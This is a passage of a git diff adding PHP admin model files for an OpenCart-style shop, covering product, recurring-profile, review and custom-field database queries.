+ return $query->rows;
+ }
+
+ public function getProductDescriptions($product_id) {
+ $product_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_description WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'tag' => $result['tag']
+ );
+ }
+
+ return $product_description_data;
+ }
+
+ public function getProductCategories($product_id) {
+ $product_category_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_category_data[] = $result['category_id'];
+ }
+
+ return $product_category_data;
+ }
+
+ public function getProductMainCategoryId($product_id) {
+ $query = $this->db->query("SELECT category_id FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "' AND main_category = '1' LIMIT 1");
+
+ return ($query->num_rows ? (int)$query->row['category_id'] : 0);
+ }
+
+ public function getProductFilters($product_id) {
+ $product_filter_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_filter WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_filter_data[] = $result['filter_id'];
+ }
+
+ return $product_filter_data;
+ }
+
+ public function getProductAttributes($product_id) {
+ $product_attribute_data = array();
+
+ $product_attribute_query = $this->db->query("SELECT attribute_id FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' GROUP BY attribute_id");
+
+ foreach ($product_attribute_query->rows as $product_attribute) {
+ $product_attribute_description_data = array();
+
+ $product_attribute_description_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_attribute WHERE product_id = '" . (int)$product_id . "' AND attribute_id = '" . (int)$product_attribute['attribute_id'] . "'");
+
+ foreach ($product_attribute_description_query->rows as $product_attribute_description) {
+ $product_attribute_description_data[$product_attribute_description['language_id']] = array('text' => $product_attribute_description['text']);
+ }
+
+ $product_attribute_data[] = array(
+ 'attribute_id' => $product_attribute['attribute_id'],
+ 'product_attribute_description' => $product_attribute_description_data
+ );
+ }
+
+ return $product_attribute_data;
+ }
+
+ public function getProductOptions($product_id) {
+ $product_option_data = array();
+
+ $product_option_query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "product_option` po LEFT JOIN `" . DB_PREFIX . "option` o ON (po.option_id = o.option_id) LEFT JOIN `" . DB_PREFIX . "option_description` od ON (o.option_id = od.option_id) WHERE po.product_id = '" . (int)$product_id . "' AND od.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY o.sort_order ASC");
+
+ foreach ($product_option_query->rows as $product_option) {
+ $product_option_value_data = array();
+
+ $product_option_value_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_option_value pov LEFT JOIN " . DB_PREFIX . "option_value ov ON(pov.option_value_id = ov.option_value_id) WHERE pov.product_option_id = '" . (int)$product_option['product_option_id'] . "' ORDER BY ov.sort_order ASC");
+
+ foreach ($product_option_value_query->rows as $product_option_value) {
+ $product_option_value_data[] = array(
+ 'product_option_value_id' => $product_option_value['product_option_value_id'],
+ 'option_value_id' => $product_option_value['option_value_id'],
+ 'quantity' => $product_option_value['quantity'],
+ 'subtract' => $product_option_value['subtract'],
+ 'price' => $product_option_value['price'],
+ 'price_prefix' => $product_option_value['price_prefix'],
+ 'points' => $product_option_value['points'],
+ 'points_prefix' => $product_option_value['points_prefix'],
+ 'weight' => $product_option_value['weight'],
+ 'weight_prefix' => $product_option_value['weight_prefix']
+ );
+ }
+
+ $product_option_data[] = array(
+ 'product_option_id' => $product_option['product_option_id'],
+ 'product_option_value' => $product_option_value_data,
+ 'option_id' => $product_option['option_id'],
+ 'name' => $product_option['name'],
+ 'type' => $product_option['type'],
+ 'value' => $product_option['value'],
+ 'required' => $product_option['required']
+ );
+ }
+
+ return $product_option_data;
+ }
+
+ public function getProductOptionValue($product_id, $product_option_value_id) {
+ $query = $this->db->query("SELECT pov.option_value_id, ovd.name, pov.quantity, pov.subtract, pov.price, pov.price_prefix, pov.points, pov.points_prefix, pov.weight, pov.weight_prefix FROM " . DB_PREFIX . "product_option_value pov LEFT JOIN " . DB_PREFIX . "option_value ov ON (pov.option_value_id = ov.option_value_id) LEFT JOIN " . DB_PREFIX . "option_value_description ovd ON (ov.option_value_id = ovd.option_value_id) WHERE pov.product_id = '" . (int)$product_id . "' AND pov.product_option_value_id = '" . (int)$product_option_value_id . "' AND ovd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getProductImages($product_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_image WHERE product_id = '" . (int)$product_id . "' ORDER BY sort_order ASC");
+
+ return $query->rows;
+ }
+
+ public function getProductDiscounts($product_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_discount WHERE product_id = '" . (int)$product_id . "' ORDER BY quantity, priority, price");
+
+ return $query->rows;
+ }
+
+ public function getProductSpecials($product_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_special WHERE product_id = '" . (int)$product_id . "' ORDER BY priority, price");
+
+ return $query->rows;
+ }
+
+ public function getProductRewards($product_id) {
+ $product_reward_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_reward WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_reward_data[$result['customer_group_id']] = array('points' => $result['points']);
+ }
+
+ return $product_reward_data;
+ }
+
+ public function getProductDownloads($product_id) {
+ $product_download_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_download WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_download_data[] = $result['download_id'];
+ }
+
+ return $product_download_data;
+ }
+
+ public function getProductStores($product_id) {
+ $product_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_store WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_store_data[] = $result['store_id'];
+ }
+
+ return $product_store_data;
+ }
+
+ public function getProductSeoUrls($product_id) {
+ $product_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'product_id=" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $product_seo_url_data;
+ }
+
+ public function getProductLayouts($product_id) {
+ $product_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_layout WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $product_layout_data;
+ }
+
+ public function getProductRelated($product_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getArticleRelated($product_id) {
+ $article_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related_article WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['article_id'];
+ }
+
+ return $article_related_data;
+ }
+
+ public function getRecurrings($product_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "product_recurring` WHERE product_id = '" . (int)$product_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getTotalProducts($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT p.product_id) AS total FROM " . DB_PREFIX . "product p LEFT JOIN " . DB_PREFIX . "product_description pd ON (p.product_id = pd.product_id)";
+
+ if (isset($data['filter_category']) && !is_null($data['filter_category'])) {
+ $sql .= " LEFT JOIN " . DB_PREFIX . "product_to_category p2c ON (p.product_id = p2c.product_id)";
+ }
+
+ $sql .= " WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_model'])) {
+ $sql .= " AND p.model LIKE '%" . $this->db->escape($data['filter_model']) . "%'";
+ }
+
+ if (isset($data['filter_category']) && !is_null($data['filter_category'])) {
+ if (!empty($data['filter_category']) && !empty($data['filter_sub_category'])) {
+ $implode_data = array();
+
+ $this->load->model('catalog/category');
+
+ $categories = $this->model_catalog_category->getCategoriesChildren($data['filter_category']);
+
+ foreach ($categories as $category) {
+ $implode_data[] = "p2c.category_id = '" . (int)$category['category_id'] . "'";
+ }
+
+ $sql .= " AND (" . implode(' OR ', $implode_data) . ")";
+ } else {
+ if ((int)$data['filter_category'] > 0) {
+ $sql .= " AND p2c.category_id = '" . (int)$data['filter_category'] . "'";
+ } else {
+ $sql .= " AND p2c.category_id IS NULL";
+ }
+ }
+ }
+
+ if (isset($data['filter_manufacturer_id']) && !is_null($data['filter_manufacturer_id'])) {
+ $sql .= " AND p.manufacturer_id = '" . (int)$data['filter_manufacturer_id'] . "'";
+ }
+
+ if (isset($data['filter_price']) && !is_null($data['filter_price'])) {
+ $sql .= " AND p.price LIKE '" . $this->db->escape($data['filter_price']) . "%'";
+ }
+
+ if (isset($data['filter_price_min']) && !is_null($data['filter_price_min'])) {
+ $sql .= " AND p.price >= '" . (float)$data['filter_price_min'] . "'";
+ }
+
+ if (isset($data['filter_price_max']) && !is_null($data['filter_price_max'])) {
+ $sql .= " AND p.price <= '" . (float)$data['filter_price_max'] . "'";
+ }
+
+ if (isset($data['filter_quantity']) && $data['filter_quantity'] !== '') {
+ $sql .= " AND p.quantity = '" . (int)$data['filter_quantity'] . "'";
+ }
+
+ if (isset($data['filter_quantity_min']) && !is_null($data['filter_quantity_min'])) {
+ $sql .= " AND p.quantity >= '" . (int)$data['filter_quantity_min'] . "'";
+ }
+
+ if (isset($data['filter_quantity_max']) && !is_null($data['filter_quantity_max'])) {
+ $sql .= " AND p.quantity <= '" . (int)$data['filter_quantity_max'] . "'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && $data['filter_noindex'] !== '') {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByTaxClassId($tax_class_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE tax_class_id = '" . (int)$tax_class_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByStockStatusId($stock_status_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE stock_status_id = '" . (int)$stock_status_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByWeightClassId($weight_class_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE weight_class_id = '" . (int)$weight_class_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByLengthClassId($length_class_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE length_class_id = '" . (int)$length_class_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByDownloadId($download_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_to_download WHERE download_id = '" . (int)$download_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByManufacturerId($manufacturer_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product WHERE manufacturer_id = '" . (int)$manufacturer_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByAttributeId($attribute_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_attribute WHERE attribute_id = '" . (int)$attribute_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByOptionId($option_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_option WHERE option_id = '" . (int)$option_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByProfileId($recurring_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_recurring WHERE recurring_id = '" . (int)$recurring_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalProductsByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "product_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/catalog/recurring.php b/public/admin/model/catalog/recurring.php
new file mode 100644
index 0000000..8dbd655
--- /dev/null
+++ b/public/admin/model/catalog/recurring.php
@@ -0,0 +1,108 @@
+db->query("INSERT INTO `" . DB_PREFIX . "recurring` SET `sort_order` = " . (int)$data['sort_order'] . ", `status` = " . (int)$data['status'] . ", `price` = " . (float)$data['price'] . ", `frequency` = '" . $this->db->escape($data['frequency']) . "', `duration` = " . (int)$data['duration'] . ", `cycle` = " . (int)$data['cycle'] . ", `trial_status` = " . (int)$data['trial_status'] . ", `trial_price` = " . (float)$data['trial_price'] . ", `trial_frequency` = '" . $this->db->escape($data['trial_frequency']) . "', `trial_duration` = " . (int)$data['trial_duration'] . ", `trial_cycle` = '" . (int)$data['trial_cycle'] . "'");
+
+ $recurring_id = $this->db->getLastId();
+
+ foreach ($data['recurring_description'] as $language_id => $recurring_description) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "recurring_description` (`recurring_id`, `language_id`, `name`) VALUES (" . (int)$recurring_id . ", " . (int)$language_id . ", '" . $this->db->escape($recurring_description['name']) . "')");
+ }
+
+ return $recurring_id;
+ }
+
+ public function editRecurring($recurring_id, $data) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "recurring_description` WHERE recurring_id = '" . (int)$recurring_id . "'");
+
+ $this->db->query("UPDATE `" . DB_PREFIX . "recurring` SET `price` = '" . (float)$data['price'] . "', `frequency` = '" . $this->db->escape($data['frequency']) . "', `duration` = '" . (int)$data['duration'] . "', `cycle` = '" . (int)$data['cycle'] . "', `sort_order` = '" . (int)$data['sort_order'] . "', `status` = '" . (int)$data['status'] . "', `trial_price` = '" . (float)$data['trial_price'] . "', `trial_frequency` = '" . $this->db->escape($data['trial_frequency']) . "', `trial_duration` = '" . (int)$data['trial_duration'] . "', `trial_cycle` = '" . (int)$data['trial_cycle'] . "', `trial_status` = '" . (int)$data['trial_status'] . "' WHERE recurring_id = '" . (int)$recurring_id . "'");
+
+ foreach ($data['recurring_description'] as $language_id => $recurring_description) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "recurring_description` (`recurring_id`, `language_id`, `name`) VALUES (" . (int)$recurring_id . ", " . (int)$language_id . ", '" . $this->db->escape($recurring_description['name']) . "')");
+ }
+ }
+
+ public function copyRecurring($recurring_id) {
+ $data = $this->getRecurring($recurring_id);
+
+ $data['recurring_description'] = $this->getRecurringDescription($recurring_id);
+
+ foreach ($data['recurring_description'] as &$recurring_description) {
+ $recurring_description['name'] .= ' - 2';
+ }
+
+ $this->addRecurring($data);
+ }
+
+ public function deleteRecurring($recurring_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "recurring` WHERE recurring_id = " . (int)$recurring_id . "");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "recurring_description` WHERE recurring_id = " . (int)$recurring_id . "");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "product_recurring` WHERE recurring_id = " . (int)$recurring_id . "");
+ $this->db->query("UPDATE `" . DB_PREFIX . "order_recurring` SET `recurring_id` = 0 WHERE `recurring_id` = " . (int)$recurring_id . "");
+ }
+
+ public function getRecurring($recurring_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "recurring` WHERE recurring_id = '" . (int)$recurring_id . "'");
+
+ return $query->row;
+ }
+
+ public function getRecurringDescription($recurring_id) {
+ $recurring_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "recurring_description` WHERE `recurring_id` = '" . (int)$recurring_id . "'");
+
+ foreach ($query->rows as $result) {
+ $recurring_description_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $recurring_description_data;
+ }
+
+ public function getRecurrings($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "recurring` r LEFT JOIN " . DB_PREFIX . "recurring_description rd ON (r.recurring_id = rd.recurring_id) WHERE rd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND rd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'rd.name',
+ 'r.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY rd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalRecurrings() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "recurring`");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/review.php b/public/admin/model/catalog/review.php
new file mode 100644
index 0000000..34eb326
--- /dev/null
+++ b/public/admin/model/catalog/review.php
@@ -0,0 +1,119 @@
+db->query("INSERT INTO " . DB_PREFIX . "review SET author = '" . $this->db->escape($data['author']) . "', product_id = '" . (int)$data['product_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', rating = '" . (int)$data['rating'] . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+
+ $review_id = $this->db->getLastId();
+
+ $this->cache->delete('product');
+
+ return $review_id;
+ }
+
+ public function editReview($review_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "review SET author = '" . $this->db->escape($data['author']) . "', product_id = '" . (int)$data['product_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', rating = '" . (int)$data['rating'] . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "', date_modified = NOW() WHERE review_id = '" . (int)$review_id . "'");
+
+ $this->cache->delete('product');
+ }
+
+ public function deleteReview($review_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "review WHERE review_id = '" . (int)$review_id . "'");
+
+ $this->cache->delete('product');
+ }
+
+ public function getReview($review_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT pd.name FROM " . DB_PREFIX . "product_description pd WHERE pd.product_id = r.product_id AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS product FROM " . DB_PREFIX . "review r WHERE r.review_id = '" . (int)$review_id . "'");
+
+ return $query->row;
+ }
+
+ public function getReviews($data = array()) {
+ $sql = "SELECT r.review_id, pd.name, r.author, r.rating, r.status, r.date_added FROM " . DB_PREFIX . "review r LEFT JOIN " . DB_PREFIX . "product_description pd ON (r.product_id = pd.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_product'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_product']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $sort_data = array(
+ 'pd.name',
+ 'r.author',
+ 'r.rating',
+ 'r.status',
+ 'r.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY r.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReviews($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "review r LEFT JOIN " . DB_PREFIX . "product_description pd ON (r.product_id = pd.product_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_product'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_product']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReviewsAwaitingApproval() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "review WHERE status = '0'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/customer/custom_field.php b/public/admin/model/customer/custom_field.php
new file mode 100644
index 0000000..37267a7
--- /dev/null
+++ b/public/admin/model/customer/custom_field.php
@@ -0,0 +1,208 @@
+db->query("INSERT INTO `" . DB_PREFIX . "custom_field` SET type = '" . $this->db->escape($data['type']) . "', value = '" . $this->db->escape($data['value']) . "', validation = '" . $this->db->escape($data['validation']) . "', location = '" . $this->db->escape($data['location']) . "', status = '" . (int)$data['status'] . "', sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $custom_field_id = $this->db->getLastId();
+
+ foreach ($data['custom_field_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_description SET custom_field_id = '" . (int)$custom_field_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ if (isset($data['custom_field_customer_group'])) {
+ foreach ($data['custom_field_customer_group'] as $custom_field_customer_group) {
+ if (isset($custom_field_customer_group['customer_group_id'])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_customer_group SET custom_field_id = '" . (int)$custom_field_id . "', customer_group_id = '" . (int)$custom_field_customer_group['customer_group_id'] . "', required = '" . (int)(isset($custom_field_customer_group['required']) ? 1 : 0) . "'");
+ }
+ }
+ }
+
+ if (isset($data['custom_field_value'])) {
+ foreach ($data['custom_field_value'] as $custom_field_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value SET custom_field_id = '" . (int)$custom_field_id . "', sort_order = '" . (int)$custom_field_value['sort_order'] . "'");
+
+ $custom_field_value_id = $this->db->getLastId();
+
+ foreach ($custom_field_value['custom_field_value_description'] as $language_id => $custom_field_value_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value_description SET custom_field_value_id = '" . (int)$custom_field_value_id . "', language_id = '" . (int)$language_id . "', custom_field_id = '" . (int)$custom_field_id . "', name = '" . $this->db->escape($custom_field_value_description['name']) . "'");
+ }
+ }
+ }
+
+ return $custom_field_id;
+ }
+
+ public function editCustomField($custom_field_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "custom_field` SET type = '" . $this->db->escape($data['type']) . "', value = '" . $this->db->escape($data['value']) . "', validation = '" . $this->db->escape($data['validation']) . "', location = '" . $this->db->escape($data['location']) . "', status = '" . (int)$data['status'] . "', sort_order = '" . (int)$data['sort_order'] . "' WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "custom_field_description WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ foreach ($data['custom_field_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_description SET custom_field_id = '" . (int)$custom_field_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "custom_field_customer_group WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ if (isset($data['custom_field_customer_group'])) {
+ foreach ($data['custom_field_customer_group'] as $custom_field_customer_group) {
+ if (isset($custom_field_customer_group['customer_group_id'])) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_customer_group SET custom_field_id = '" . (int)$custom_field_id . "', customer_group_id = '" . (int)$custom_field_customer_group['customer_group_id'] . "', required = '" . (int)(isset($custom_field_customer_group['required']) ? 1 : 0) . "'");
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "custom_field_value WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "custom_field_value_description WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+
+ if (isset($data['custom_field_value'])) {
+ foreach ($data['custom_field_value'] as $custom_field_value) {
+ if ($custom_field_value['custom_field_value_id']) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value SET custom_field_value_id = '" . (int)$custom_field_value['custom_field_value_id'] . "', custom_field_id = '" . (int)$custom_field_id . "', sort_order = '" . (int)$custom_field_value['sort_order'] . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value SET custom_field_id = '" . (int)$custom_field_id . "', sort_order = '" . (int)$custom_field_value['sort_order'] . "'");
+ }
+
+ $custom_field_value_id = $this->db->getLastId();
+
+ foreach ($custom_field_value['custom_field_value_description'] as $language_id => $custom_field_value_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value_description SET custom_field_value_id = '" . (int)$custom_field_value_id . "', language_id = '" . (int)$language_id . "', custom_field_id = '" . (int)$custom_field_id . "', name = '" . $this->db->escape($custom_field_value_description['name']) . "'");
+ }
+ }
+ }
+ }
+
+ public function deleteCustomField($custom_field_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field_description` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field_customer_group` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field_value` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "custom_field_value_description` WHERE custom_field_id = '" . (int)$custom_field_id . "'");
+ }
+
+ public function getCustomField($custom_field_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "custom_field` cf LEFT JOIN " . DB_PREFIX . "custom_field_description cfd ON (cf.custom_field_id = cfd.custom_field_id) WHERE cf.custom_field_id = '" . (int)$custom_field_id . "' AND cfd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getCustomFields($data = array()) {
+ if (empty($data['filter_customer_group_id'])) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "custom_field` cf LEFT JOIN " . DB_PREFIX . "custom_field_description cfd ON (cf.custom_field_id = cfd.custom_field_id) WHERE cfd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+ } else {
+ $sql = "SELECT * FROM " . DB_PREFIX . "custom_field_customer_group cfcg LEFT JOIN `" . DB_PREFIX . "custom_field` cf ON (cfcg.custom_field_id = cf.custom_field_id) LEFT JOIN " . DB_PREFIX . "custom_field_description cfd ON (cf.custom_field_id = cfd.custom_field_id) WHERE cfd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+ }
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cfd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_customer_group_id'])) {
+ $sql .= " AND cfcg.customer_group_id = '" . (int)$data['filter_customer_group_id'] . "'";
+ }
+
+ $sort_data = array(
+ 'cfd.name',
+ 'cf.type',
+ 'cf.location',
+ 'cf.status',
+ 'cf.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY cfd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
